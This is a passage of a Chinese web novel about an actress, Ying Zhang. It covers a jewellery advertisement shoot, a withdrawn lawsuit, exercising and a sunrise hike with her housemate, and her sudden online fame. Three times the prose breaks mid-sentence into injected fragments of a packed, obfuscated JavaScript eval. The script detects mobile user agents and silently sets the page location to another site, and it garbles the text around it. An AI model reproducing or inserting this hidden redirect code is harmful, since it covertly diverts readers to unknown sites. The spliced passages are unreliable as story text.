镜头中,程钰的眼睛明亮有神,平时里的散漫和随意在此时荡然无存,总是大大咧咧不拘小节的侠女在此刻竟然也有了几分温柔坚定。 “宛灵,你找到了你要走的路,我很高兴。” 程钰嘴角带笑,声音不疾不徐,脸上的神情虽然平静,但在场的众人都能感受到她的不舍。她的目光落在成宛灵身上,像是一只蝴蝶轻轻落在花瓣。 “能陪着你从侯府一步步走出来,一点点找到自己,真好。” “这么好,就不要走了,好不好?” 察觉到程钰去意的成宛灵眼泪要落不落地在眼眶里打转,语气不再娇痴,慢慢也带上了哭腔。 “可是人这一生很长,聚散有时,总是会分开的。”程钰拍了拍成宛灵的头,语气还是一样地平静温和,“你找到了你的路,我也要去找我的路了。” “我可以陪你找的!” 成宛灵摇头,眼泪随着她的动作顺着脸颊滚落:“我现在是大商人,我会把商铺开遍全国,你想去哪里、想怎么找,我都可以陪你。” “好了,要哭成小花猫了。”程钰弯腰擦掉成宛灵的眼泪,“有些人是要自己一个人走的,也是要自己去找的。” “不要哭了,我又不是一去不回了。山长路远,我们会分别,自然也会相见。” 成宛灵眼泪还是止不住:“我们还会再相见?” “当然!征路此相逢嘛!” 程钰背出了初识时成宛灵教她的诗句,把还在擦泪的人逗得破涕为笑。 “cut!” 直到导演喊停,胡炜才把嘴里含到发软的薯片咽了下去。 明明台词和剧情都不复杂,但应璋的表演却是层层递进的。从最初的怀念、不舍到最后的洒脱、风趣,短短的几分钟至少有三层转变和递进。 原来离别也可以是这样的! 被应璋的表演震撼到了的胡炜想到他那被改了又改的剧本,再看看被导演拉着补拍镜头仍稳定发挥的应璋,气不打一处来—— 原以为这人文戏演的不好,这会看不是挺好的?合着只是对他一个人不好?有这么可着一个人欺负的道理吗?他不服!他要行使资源咖的特权!他要加戏! 在脑海中独自生了一场闷气的胡炜一下子从休息椅上弹了起来,把一旁刷手机的严岳吓了一跳。 “怎么了?怎么了?” “没事,我有话找导演说!” 匆匆扯下身上的盖毯,胡炜抬腿就往导演组的方向走。 “cut——杀青啦——”拍到满意镜头的蒋卫大吼一声,兴奋之情溢于言表。 胡炜:…… 就差一步! 不行!他偏要和应璋合作拍戏!他要去当龙凤珠宝广告片的男主角!他就不信这个邪! 29. 试妆 给亲姐跑了一个星期的腿,胡炜终于如愿拿下了广告片男主演的剧本! 就在他雄心勃勃想要和应璋来上一场酣畅淋漓的对手戏时,广告拍摄脚本直接给了他一个嘴巴子—— 剧情非常简单,征战沙场的将军守卫家国安宁后,卸甲归家,以女儿身出现在众人面前。 将军是应璋,整只广告的唯一主人公。胡炜也出镜了,作为给应璋赏赐首饰的帝王,有整整三秒的镜头。 胡炜:怒!谁家男主角只有三秒的镜头!他想要的是甜甜的爱情戏!爱情! 怒气爆棚的胡炜拿着脚本气冲冲地冲到了姐姐的办公室,愤怒地轻轻敲门:“姐姐大人,小的能进来吗?” “进!” 胡炜生着气,但还是笑着给亲姐递上咖啡:“双倍浓缩不加糖,嘿嘿。” 胡明琅接过咖啡没有说话,好好欣赏了一会弟弟脸上被愤怒顶的古里古怪的笑,才慢悠悠开口:“说吧,又想要什么了?” “姐姐~”胡炜的声音夹得九曲十八弯,“那个广告片的脚本能不能改一改?” “嗯?”胡明琅挑眉,“你想怎么改?” “给我和应璋加一条爱情线!就写将军暴露身份后对皇帝一见钟情!”胡炜越想越开心,还忍不住添了不少细节,“然后皇帝和将军发展出一段旷世奇恋,我就可以赏赐给她不同的珠宝首饰……” 胡明琅放下手上的咖啡:“呵。” “姐你同意了是不是?”胡炜会意,“我现在就去找……” 胡明琅根本懒得听:“屁!” “姐?”胡炜以为他听错了,“你刚刚是不是说话了?” “哼。” 胡明琅一声冷哼,实在不想承认这个蠢货是自己亲弟弟:“你的脑子呢?这么有用的东西,出门都不带着?” “姐你怎么突然骂我……”胡炜一头雾水,不明白为什么挨骂,“我想的剧情不好吗?” “好?好个屁!”胡明琅简直想拆开弟弟的脑壳,好看看里面到底装了些什么,“你的脑子就想着怎么被人追?就这么喜欢?等下去楼下,我让保镖提着防暴棍在后面追你,好好追个够。” 胡炜:不是,他不就想加个戏,怎么他姐看起来杀气腾腾的? “你也成年了,这几年的烂事你以为我不知道?泡妞捧网红追小明星,你情我愿的事情,我懒得管。” 胡明琅抄起手边的文件一摔,清脆的破空声像是巴掌一样抽得胡炜不敢抬头。 “你要是有那个本事捧人,哄着人跟你拍追逐桥段,随便你怎么折腾都行。” “想借着我胡明琅或者龙凤珠宝的名头在外面胡搞?你最好趁早死了这条心!” “姐……”胡炜被劈头盖脸的一通指责骂得满脸通红,“我没想胡搞……我就是想拍戏……” “没有?”胡明琅冷笑,“谁告诉你女人就要情情爱爱?谁告诉你女人就要围着男人转?怎么,进了娱乐圈,开始裹小脑了?” 胡炜缩缩脖子:“这不是《明月雪时》你把爱情线砍掉了嘛!我就是想和她搭一下……” “合作的形式有很多,非得让人追你?”胡明琅懒得继续和他讲,直接开始赶人,“能拍就照原脚本拍,不能拍就滚!” “能拍,能拍……”胡炜小跑上前去给姐姐捏肩,“这不是跟您商量吗?行不行的,还不是您说得算?” “少来!”胡明琅毫不客气地拍掉了弟弟准备献殷勤的手,语气硬邦邦的,“你少打应璋的主意,别逼我抽你!” “好的,好的!绝对不会对她起坏心思!” 胡炜条件反射一样向姐姐立下军令状,气势十足地做完保证突然发现哪里不太对劲:“姐,我才是你亲弟弟!” “你要不是我亲弟,我现在就封杀了你。”胡明琅翻了一个白眼,“女人可以是任何样子,别人我不管,我投资的剧组绝对不允许女人只有爱情,懂了?” “懂……”胡炜还是不死心,“那《明月雪时》的剧本还不是爱情故事,原本男三女三也是有爱情线的……” 胡明琅被蠢弟弟的倔强气得额角青筋暴起:“你有没有好好读过剧本?这么多年书白读了?主线明明是女性互助摆脱束缚往上走,你非盯着配菜那点爱情故事是不是?” 胡炜低头,试图用乖巧的认错姿态取得姐姐的谅解。 只可惜胡明琅不吃这一套:“滚!这个月别出现在我视线里!” * 龙凤珠宝的摄影棚里,应璋正在配合化妆师定女装的造型。 胡明琅原本想把这一季的新品用来做拍摄道具。新品是一套重工掐丝金饰,以精巧华美为核心卖点。 但等应璋做好妆造从化妆间走出来时,胡明琅推翻了她原先的构想:“换一套,取经典系列过来。” 冯林有些诧异,但并没有提出异议:“整套全拿吗?” 胡明琅点头:“对,整套全部拿过来。” 化妆师小心翼翼地提问:“胡总,这套妆造有什么不好的地方吗?” 化妆师原以为这次的妆造是个轻松的活,不论是将军造型还是封赏造型基本都是试妆一遍就定了下来,并且妆造过程并不怎么费心,不管什么样的搭配这位新模特都能撑得起来。 没想到轮到最能突出模特五官和女性特质的女装造型时,大BOSS皱眉说不行。 这让化妆师紧张得心里打鼓。 “太普通了。”胡明琅摇头,“这个妆造就是普通的闺阁小姐,美则美矣,并不能凸显应老师的核心气质。” “普通?” 化妆师突然不认识这两个字了。 她做化妆师十一年,经手过的俊男美女无数,即便如此,应璋这五官、骨相仍能跻身前三。长成这个样子,在她们这一行有个固定赞美——老天爷赏饭吃的长相。 毫不客气的讲,顶着这张脸,就算坐在直播间骂人,都会有榜一大佬哐哐打赏。 现在大BOSS嫌弃普通?她没听错吧? “是啊,普通的美女,没有什么特别的。”胡明琅接过冯林小跑着取来的首饰,示意化妆师跟上,“去改妆,造型和妆容都简洁一些。眼影只要大地色,假睫毛换成自然款,口红换成裸色,眉宇画的英气一点,发型不要太复杂,盘的简单一点,把碎发收起来。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14507531|152917||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >化妆师依言照做。 等化妆师按照胡明琅要求改完妆后,她才知道刚刚BOSS说的普通是什么意思了。 按照她之前的画法,就是影视作品中常见的闺阁千金,看起来除了漂亮并没有什么特别之处。 但是现在这个简单到有些简陋的妆造却很好地放大了应璋的五官和骨相优势,配上她的眼神和神情,看起来生动又精神。 看多了内娱各式各样的精修偶像明星,化妆师已经很久没有见过这么富有活人感的美女了。 即使只是对着镜子自照,也很有故事感。 “应老师,您看一下,这是回头拍摄要用的首饰。”胡明琅把匣子放在应璋面前,“您先试戴一下,熟悉熟悉拍摄道具。” “我自己带吗?” 应璋没有珠宝拍摄的经验,依稀记得之前在红毯后台打杂时,看到那些明星的首饰都是有专人保管和协助佩戴的。 “您自己带就好。”胡明琅笑着打开匣子,“这套都是送给老师的,您随便怎么带都行。” “好简单大气的款式!不愧是龙凤珠宝!”被金光糊了一脸的应璋有点不敢呼吸了,“我不太懂化妆,要是展示不好怎么办?” “没关系,将军也不懂这些。”胡明琅并不在意人体展示效果,“大不了让摄影对着匣子多拍几个镜头,老师怎么戴都可以,随心就好。” 没有广告拍摄经验的应璋被大BOSS的随意震撼到了,只能硬着头皮从首饰匣里找合适的饰品装点自己。 化妆师给应璋盘了个款式非常简单的三绺头,额角的碎发也收拾得非常规整。和摄影工作常见的那种超级大头不同,看起来颇为利落小巧。 大量的发包需要众多发饰才能撑起来,但简约的发型再配上繁复的发饰只会显得臃肿。 应璋的手指扫过一排造型各异的发簪,最后选择了两只造型简约的金钗簪在发间,又取了两只镯子套在手腕上。 因为还不是正式拍摄,应璋的身体和神情都很松弛,没有做特别的动作和表情,自然得就像是近视的人早起戴上眼镜一样。 但摄影师的镜头早在应璋低头挑选首饰的瞬间就对准了她。 摄影原本只是按照老板的要求拍一些花絮,用作广告投放的先导和预告。 没想到却拍到了可以直接剪进正片的镜头。 这种松弛又自然的状态简直让人移不开眼,所有的注意力都在模特和首饰上。明明并没有剧本,也不是精心设计的情节和剧情,但却莫名地吸引人。 以往他见过的画面都是演员或者模特一脸惊喜地拿起首饰,仿佛从来没有见过一样的欣喜与激动,拍摄的重点往往也都落在得到首饰的惊喜上。 没想到眼前这个没有刻意摆展示动作、没有讨好关注的表情的女孩,竟然实实在在地抓住了看客的眼球。 她自然得仿佛拥有这些珠宝是再自然不过的事情,佩戴首饰的动作也透着一股轻松自如。 摄影师甚至都能想象出等广告投放后,众人激情下单同款的样子了! 因为他现在就很想去门店给他老婆也买上一个同款的镯子!他老婆就该戴金镯子! 30. 二审 比剧集播出和广告投放更早一步来到的是和铃戏官司的二审。 不知道是巧合还是算计,开庭时间就在应璋考试的前一天。 研究生考试一年一次,错过一次要再等一年。虽然应璋并不认为她学得多好,能一战上岸,但在考前被这种烂事牵扯精力,还是很影响心态的。 为了帮应璋调节心情,助理小柏化身厨神小柏,每天变着花样做各种美食。 心情有没有变好,变好了多少,这个应璋很难界定,但体重确实结结实实涨了不少。 对于体重变化应璋倒不是很在意,但她之前在剧组辛苦练出来的马甲线都被肚子上的肉吃掉了,这就不太妙了。她可以增肌增重,但是不能纯增肉。 恰好柏临渊最近也没什么事情做,和学校众人的旧恩怨还要等立案,举报投诉还在走流程,学业事业双搁浅的他又不太愿意出门活动。 于是两人这段时间就是做菜、吃菜、拍视频、发视频,生活规律像是复制粘贴,每天都过得大差不差。 这种日子偶尔过一过还好,时间一长就会让人精神疲惫。应璋可算理解柏临渊为什么总是情绪不好了,这样的生活过久了情绪正常才是比较奇怪的一件事吧? 在陪柏临渊就诊几次之后,应璋也和医生沟通了解了柏临渊现在的情况。不知道是因为有了陪伴,还是被监督着规律吃药,亦或是旧事得以清算的缘故,总之这几次检查的结果都还不错。 现在柏临渊的用药量已经比应璋刚认识他那会少了三分之二了。 按照传统中医的说法,情绪是和身体状态息息相关的。当身体状况不佳时,确实可能导致情绪上出现各种负面情绪。 于是见不得肥肉吞掉肌肉的应璋开始拉着柏临渊健身,晨起打拳,傍晚慢跑,时不时再爬爬山,徒个步什么的。 柏临渊在生病之前也是健身房的常客,但常年泡在实验室的人能分给健身锻炼的时间有限,柏临渊的健身习惯差不多就是在器械上做做动作,和应璋这样武行出身的比起来,身体的柔韧度和灵活性都要差上不少。 最开始应璋打算带着柏临渊从武当基本拳法开始练起,但柏临渊的四肢显然有自己的想法,冲拳和蹬腿各忙各的,转身活动的时候重心不稳还给他自己绊了个趔趄。 柏临渊在意识到他要摔倒的时候努力控制着躯干和四肢,最后把将将扶住他的应璋也一起带着摔倒在地。 匆忙接住人,结果被一起摔了个大马趴的应璋:……大意了。 由于柏临渊的四肢太过活跃,两人跌倒的姿势分外奇怪,看起来好像是叠在一起,但应璋的手揽在柏临渊的背上,柏临渊的腿别在应璋腿上。 被砸得头晕眼花的应璋刚缓过来就看到一个红到冒热气的脖子。 “抱……对不起……” 柏临渊舌头打结,一边磕磕绊绊地道歉一边挣扎着想爬起来,但慌乱中手又不知道不小心扶在哪里了,于是伸手撤手忙了半天也没能爬起来。 “你别动了。” 应璋叹气,从僵成木头人的柏临渊身下钻了出来,顺手把人从地上捡起来。 “不就是摔了一跤,你紧张什么?” 柏临渊没有接话,高高的个子低低的头,让应璋想起来高中时被班主任训的同学。 她有那么凶吗? 不理解,但教学计划还要继续。 按理说练武先练基本功,但应璋只是想带着柏临渊运动运动,并不是真的要把他培养成武林高手,总不能带着他每天扎一个小时的马步吧? 想想都觉得丧心病狂。 于是应璋更改了教学计划,带着柏临渊练八段锦。 前面几个动作还好,难度不大,掌握好节奏就没有什么问题。 到了“左右开弓似射雕”之后,柏临渊的动作渐渐就有些走样了。 “膝盖弯下去,往下沉。” 应璋调整着柏临渊的动作,时不时扶扶胳膊拍拍腿。 在吃娱乐圈这口饭之前,应璋还去过武术俱乐部做助教,学员有成人也有儿童,纠正动作虽然有肢体接触,但基本都是一触即离,应璋也没觉得这有什么特殊的,还在尽心尽力地帮柏临渊调整。 只是她调整着调整着,发现事情好像有点不太对劲。 怎么她碰哪里,哪里就肌肉僵硬呢? “你别紧张,放松,放松。”应璋感受着手下越来越紧绷的肌肉,无奈叹气,“做得不标准也没关系,我又不会打你,放松。” “我没紧张……” 柏临渊小声嘀咕着,耳朵红得要滴血了。 应璋盯着柏临渊的耳朵看了一会,突然收手离开。 感受到应璋的视线,柏临渊心跳突然乱了一拍,眼神也跟着慌乱了起来:“那个……我不是……” “好了,站起来吧,今天先练到这里。”应璋拍拍手,转身往家里走,“你看你,耳朵都冻红了,明天多穿件外套再出来吧。” 柏临渊:…… 错拍的心跳快要梗住了,怎么才能不著痕迹地表现出他的耳朵不是冻红的呢? 柏临渊也不知道。 钝感力超绝的应璋完全没有察觉到不对劲,依旧每天带着柏临渊锻炼,还不忘提醒对方注意保暖。 * 到了二审开庭这一日,应璋和黎律一同前往法院。这次黎律没有申请公开庭审,自然也没有没有万千网友网上追更,不过这会多了一个线下观众,柏临渊也跟着一起来了。 黎律翻着卷宗准备时,柏临渊和应璋两个人头挨头嘀嘀咕咕地聊着各自的案子,一行人都在等待开庭。 临近开庭时间,铃戏的人还是迟迟未到,工作人员的电话打了一遍又一遍才好不容易接通。 “什么?”应璋听着工作人员的转述,表情非常无语,“他们在开庭前十分钟撤诉了?” “是的。”工作人员推推眼镜,显然也很无语,“打了六七个电话,好不容易接通了,那边上来就说要撤诉。” 应璋:……这不就是纯纯的折腾人? “不过看对方这个态度,估计也不会爽快赔钱的。”工作人员临走前好心提示道,“你们注意时间,估计需要申请强制执行。” 和工作人员道了谢,一行人离开了法院。 看着外面的不太明朗的天气,应璋有些唏嘘。作为一个爱国守法的好公民,她一直都觉得法律是特别高大上的,作为法律具象化身的法庭也是威严高大的。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14517559|152917||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 但这几场官司打下来,除了“儿戏”她真的想不出其他词来形容这几段经历了。 和见怪不怪的黎律不同,应璋是真的觉得有什么东西碎掉了。 “我之前一直觉得通过法律寻求正义是件特别艰难的事,有走不完的流程和讨人厌的被告。”应璋感慨道,“但是真的走到这一步,好像并没有我想象的那么难,也没有我想象的那么严肃。” “确实。” 柏临渊点头赞同,一共三场官司,真正按照常规流程走的就一场,这一场对方的发挥还很可笑,想想确实让人很是感慨。 “不过这样也好。”应璋眼睛亮亮地看向柏临渊,看起来心情很好,“等你的案子开庭了,我也陪着你出庭,还能给你做庭前心理疏导,我现在可有经验了。” “那就拜托应老师了。”柏临渊难掩笑意,“等到了庭前调解,我就去找应老师,应老师可千万要给我留好档期啊!” “留!”应璋豪气挥手,“我能有什么事?我的档期都留给你!” 应璋说这句话的时候还不知道此后她会忙成什么样子,现在的她也不过是一个头秃明天考试的小女孩罢了。 应璋不是第一次上考场,但这是第一次有人送她上考场。 看着人群也遮不住的高挑身影,应璋忍不住翘起嘴角,思绪回到了很多年前…… 那时她还在读高中,学校离她家六七十公里,每个月只有月底放假的时候她才能回家看看姥爷。 姥爷那个时候摔伤了腰,出不了远门,自然不可能送她去学校。 应璋也不是很在意,比起有人送她上学,她宁愿姥爷能在家好好修养身体。 只不过在全校所有住校生都有家长送的环境里,被老师、宿管、其他家长一遍又一遍询问为什么一个人来的时候,心里有一点点失落罢了。 后来姥爷去世,应璋彻底变成了一个人。热火朝天地高考送考与她毫无关系,比起门外是不是有人在等她,她还是更关心自己下一顿吃什么。 助学金和存款有限,而学生能挣的钱也有限,任何情绪和想法在生存面前都显得那么无足轻重。 时隔多年,被生存压下去的那些情绪又一点一点冒了出来,但这次有人接住了她。 看着考场前方的时钟,应璋忍不住翘起嘴角。 有人在等她。 …… 两天很快就过去了,应璋发挥了文科生的看家本领——不会,但硬写。 题答得怎么样不好说,但是每个空她都写上了。 甩着发酸的手出了考场,刚出门,应璋就看见了人群中抱着花的柏临渊。 婺州的十二月不算温暖,应璋能清楚地看到他发红的鼻头和手指,显然已经在寒风中等候许久。 应璋的视力一直很好,所以柏临渊的局促和不适她都看在眼里。这段时间两人同吃同住,应璋清楚柏临渊有多抵触吵闹的人群,又有多厌恶和陌生人沟通。 但此刻柏临渊就站在人群的最前方,守在他最讨厌的人声鼎沸中等她。 应璋听到了血液流过鼓膜的声音,这奔涌的热流带着她没有察觉的情绪流向身体各个地方,让她不由自主地奔跑起来。 她来了! 31. 日出 新年第一天,从来不做广告的龙凤珠宝突然发布了新视频。 红衣银甲的小将军纵马横枪,浴血厮杀,带着众人攻城掠地。枪尖挑起的鲜血溅在将军的脸上,滚落在其胸口刻着平安纹样的金锁上。 镜头一转,小将军从满是伤患的营地中离开,拖着沉重的步履来到无人处,掏出胸口的金锁,眼中满是不舍。 轻轻抚了几遍后,小将军摘下项上金锁递给长随:“去当了,和我帐中那个檀木匣子一起,都当了,换些好用的伤药。” 长随猛地抬头:“将军,这可是您祖母留给您的唯一念想了!” 小将军摆了摆手:“去吧,让我自己待一会。” 控制住了伤情,在众人的支持下,小将军带着队伍一路征伐,大获全胜,凯旋归乡。 金銮殿上,皇帝龙颜大悦,大肆封赏,而小将军只求卸甲归田。 镜头再一转,小将军一身女子装扮,拣选着御赐的金银玉器对镜梳妆。 长随隔门相问:“小姐,女学的嬷嬷来问您什么时候可以给孩子们上课。” 装扮简洁的女子起身,笑着走出闺阁大门。 “今天,就现在!” 广告并不长,等龙凤珠宝的水印浮现在屏幕正中时,也才不到两分钟。 龙凤珠宝不仅在自己的官号上投放了广告,还买了大屏和很多APP的开屏,力争让所有人新年第一天就能看到带着龙凤珠宝的小将军。 开屏广告的图片并不是传统的代言人举展示品的公式照,而是截取的视频中的片段——小将军脸上的血滴落在金锁上,立体感极强的浓颜配上做工精细的金饰,给所有路过的网友以极强的视觉冲击。 说来有点离谱,因为开屏广告上没有人物介绍,而龙凤珠宝的视频封面又看不到开屏广告上的图片,导致吃不到饭的网友直接扑了个空。 不少人为了再看一眼开屏广告,反复地退出重进,直接把一个新词条送上热搜—— #新年第一天从广告开始 不明所以的观众点进来,又被词条内的动态勾起了好奇心,也跟着反复退出重进,大量的同步操作直接把开屏广告给卡没了。 于是又有一条新词条登上了热搜榜单—— #到底是什么广告 社媒的舆论以一种所有人都未曾预料的形式展开了,盛大,但滑稽。 * 之前应璋并不觉得她能胜任龙凤珠宝这样国民老字号代言人这一职位,所以只是作为演员出演广告中的小将军一角。 因此在推出广告片时,官博并没有@应璋,也没有公布相关的演员信息。 配合拍摄完广告片,应璋就没再继续关注广告相关事务,更不用说网上各方舆论了。 当事人现在正在卧室埋头睡大觉。 新年到来的前一天,有的人在为第二天的宣发彻夜忙碌,有的人突发奇想拉着室友连夜爬山。 作为一个P人,应璋向来想做敢做。早上起床发现今天是十二月三十一号,当天就开始摇人夜爬九峰山跨年。 冬天莫伊倪是不可能离开空调屋一步的,圈内朋友这会基本都在忙各种通告。应璋扫视一圈,最后目光只能落在柏临渊身上。 柏临渊答应得很快:“我还没有在晚上爬过山,可以去试试。” 原本应璋想着爬完就回家。 但柏临渊有不同的想法—— “冬天夜爬肯定要做好保暖,补充能量的东西也要准备一些,还有照明……” 哆啦A柏再次上线,带着应璋在迪卡侬采购满满一车才意犹未尽地出发了。 两人抵达九峰山脚下时,已经快五点了。 柏临渊说要欣赏山脚落日,搬出野炊装备伴着夕阳做起了烤肉。对此应璋只有两个字要讲——“真香”! 于是等她们吃饱又休整好再爬上山顶,已是凌晨三点。本着华国人“来都来了”的四字真言,两人干脆留在山顶等日出。 日出前的天很冷,山顶风也很大,夜爬的人不算太少,隐隐能听到不远处的人声。两人找了个背风的角落,静静地等待太阳升起。 傍晚吃掉的烤肉已经在夜爬中消耗的一干二净,应璋向来是吃得多饿得快。在铃戏的那几年一直挨饿都习惯了,也不觉得什么,这才放开吃了不到一年,就经不得饿了。 捂着肚子靠在柏临渊肩上,应璋忍不住叹了一口气:“早知道我就多吃几口五花肉了。” “饿了?” 柏临渊摸摸口袋,掏出几个能量棒,“吃不吃?” “吃!” 应璋接过能量棒,真心实意地感激起柏临渊的未雨绸缪,真是居家旅行好伴侣! 接收到夸夸的哆啦A柏又在口袋里掏了又掏,摸出两罐能量饮料,又掏出两片暖贴贴在饮料罐子上,这才把饮料递给应璋。 应璋震惊了,还能这样? 不过在这寒冷的山顶上,有罐温热的能量饮料喝是真的很舒服,半罐下去后背都在微微发汗。 啃着能量棒,应璋突然想起了读书时闹的笑话。 “我上高中那会有阵子经济特别紧张,每天都得算计着开销。后来听说压缩饼干便宜又顶饱,就买了一箱放在宿舍。” 想起那些纯饿的日子,应璋都想笑。 “我还记得那箱饼干是苏国进口的,临期打折,便宜是便宜,但是没有说明书。那会脑子也呆,也没问问,拆开包装就直接造。” “背着单词就吃光了一整包,那一包可是200克啊,泡开可以装满一个饭盒的!” 柏临渊也跟着笑了起来:“那你胃口还挺好的,没喝水吧?” “喝了啊!那种又干又齁的东西,吃了怎么可能不想喝水?” 应璋回忆着当时的惨状,忍不住笑出了声:“哇!喝水之前噎的直抻脖子,跟现在那什么希腊酸奶差不多,一口下去脖子都快抻到首都了。” “确实很干。” 柏临渊点头,隐隐觉得事情发展方向好像有点不太对劲,笑容也渐渐收了起来。 “喝水之后直接在胃里泡开了,我吐了一整个早自习!再也不想吃压缩饼干了。”回忆起过往的惨状,应璋忍不住拍了拍大腿,语气颇为感慨,“更惨的是那会真的没钱了,硬是把剩的压缩饼干全吃完了,从那以后再也没碰过这类东西。” “今天冷不丁一吃,还怪好吃……” 话说到一半,应璋余光中瞥见了身旁人脸上有细碎的亮光一闪而过,转头一看发现是他在哭。 不是,说着笑话 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14534220|152917||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 呢,怎么突然哭了? 不明所以的应璋手忙脚乱地帮人擦泪:“怎么了怎么了?风吹迷了眼睛?不能啊,这不是背着风呢?过来让我看看……” “不是……” 柏临渊声音闷闷的,胡乱地擦了擦脸,扭过头不让应璋看他的脸。 “那时怎么了?” 应璋吓了一跳,今天晚上吃完饭忘记监督他吃药了,不会是因为这个吧? 焦躁的抓了抓头发,应璋试图找一个可以检查柏临渊吃没吃药的借口。在心底嘟囔了好几遍“死头,快想啊”之后,还真让应璋找到一个好理由。 “你的便携药盒呢?突然想起来我晚上好像没吃维生素。” 柏临渊顿了顿,掏了好一会才摸出一个小药盒递了过去:“我给你拿水,别用能量饮料吃药。” 应璋连连点头,借着拿维生素的由头检查了一下,发现他还真没吃药。 自以为发现柏临渊落泪原因的应璋在心底为自己狠狠点了一个赞,她可真棒啊!这都能让她找到原因! “咦,这药盒数量不对啊?你是不是昨晚忘记吃药了?”应璋把药盒递了回去,状似无意道,“你赶紧把药吃了吧,就当陪我一起吃了。” 柏临渊很是配合,干脆利落地把药吃了。 应璋看着已经平静下来的柏临渊,终于松了口气。这时身后突然喧闹起来,应璋扭头望去,看到天际一丝金光缓缓升起。 !!! “柏临渊,太阳出来了!” 柏临渊怔怔的看着应璋,直到她的脸上也被光芒染上金色,他才愣愣地跟着重复:“太阳出来了。” 看完了日出,应璋一直不敢休息。 从下山开始就叽叽喳喳地和柏临渊讲话,讲日出、讲飞鸟、讲树也讲花,一直聊到两人回家各自收拾好。确定柏临渊情绪已经恢复正常了,她才敢回房间倒头就睡。 于是劳心又劳力了一年的应璋就这样完美地错过了元旦的热闹。 就在热搜词条里大家讨论得沸沸扬扬时,还在和平台谈播出时间段的《明月雪时》制作人迅速摇醒了导演蒋卫。 “蒋导!快快快!应璋应老师上热搜了!”制作人难掩话中的激动,声音都是抖得,“快让宣发蹭上这波热度!发发应老师的照片和视频,再把人@出来!” 蒋卫用最短的时间快速理清了原委,也跟着激动了起来:“还得是应老师啊!真让我们蹭着了!” 于是继龙凤珠宝宣发脚步后,《明月雪时》的宣发部门也跟着忙碌了起来。 不过《明月雪时》的宣发人员并没有对这突如其来的工作表示不满,反而个个摩拳擦掌。 毕竟剧卖不出去对所有人都不是什么好事,蹭上这波热度,万一能谈个好价钱,导演不得给他们发个大红包?就算退一万步看,能蹭着热度跟着推一个热词条,回头写进简历里也好看不是? 在众人的忙碌和努力下,一个新词条慢慢爬上了热搜的尾巴。 #将军应璋 蒋卫看着词条下关联的话题#应璋《明月雪时》,呲着大牙一边乐一边刷着超话广场,最后翻出了压箱底的宣传物料发了出去。 @导演蒋卫: 英姿飒爽@应璋 [视频] 32. 邀请 借助应璋的热度,蒋卫终于和魔方视频谈妥了合作。《明月雪时》将在寒假档播出,1月18日上映。 定档之后宣传便显得尤为重要了,作为整个剧组热度最高的话题人物,应璋自然不能置身事外,直接被蒋卫一个电话叫起来发广告。 好不容易想起大眼的账号,等刚登上去就直接被喷涌而出的信息淹没了,此起彼伏的提示音和悬浮提示框直接把手机给卡死了。 应璋:…… 到底发生了什么? 等到手机都发烫了,还是没有丝毫好转,没多一会就彻底黑屏了。 挣扎着从被窝里爬起来,应璋叹着气去书房开电脑,等了十多分钟电脑才反应过来,应璋连忙把所有消息提示全都关掉,这才松了一口气。 匆匆发完蒋卫提供的视频和文案后,应璋才打着哈欠去翻看私信。 刚切到主页,应璋就被她账号下那串数字震惊了。 她没看错吧?个、十、百、千、万…… 应璋数了三遍,才确认了她的账号下多了近六十万的新增粉丝。 “璋宝!”莫伊倪的电话打过来,“我看你在线,就知道你睡醒了!” 冲浪达人莫伊倪冲浪强度大,又熟悉圈内情况,交际也广,连猜带打听的,倒也把整件事情的来龙去脉推测出了个七七八八。 “……就是这样,虽然是我猜的,但是应该出入不大。” 应璋听完之后愣了好一会才找回自己的舌头:“我这是火了?不能吧?” “火了!大火特火!”莫伊倪兴奋,“你这比出圈神图还牛你知道吗?一天涨粉六十万,还都是高活跃度的!但凡你有个知名度高一点点的作品,你现在就是稳稳的三线艺人了!” “不至于吧?一个广告模特而已……”应璋觉得好友在异想天开,“我之前还买了二十万粉丝呢,在娱乐圈还不是查无此人?也就是翻了几番……” “什么不至于?今天你一个人就上了六个热搜!没有营销的情况下!六个!”莫伊倪恨不得冲过去敲应璋的脑袋,“这种程度的热度买都买不来好吧?” 应璋还是觉得夸张:“这种热度又维持不了多久,大头还是龙凤珠宝的,我就是顺带的那个。” “再说了,现在买热搜那么简单,有的人一年三百六十五天能上三百天,平均每天至少两个的。” “那能一样吗?”莫伊倪拉出魔方视频的博文试图说服好友,“你看!你前脚上热搜,后脚《明月雪时》就宣传你是女三,再然后就突然说定档寒假了!这一切总不会是巧合吧?” 应璋觉得是,但她不敢说,她怕把好友气出个三长两短来,那就不好了。 她也不是第一天待在这个圈子里,深知很多东西不是表面上这么简单,最起码平台和剧组签约不可能是因为她这个女三号。 应璋的突然爆火最多就是一个影响因素,肯定还是剧组和平台方各方角力才定下来的。 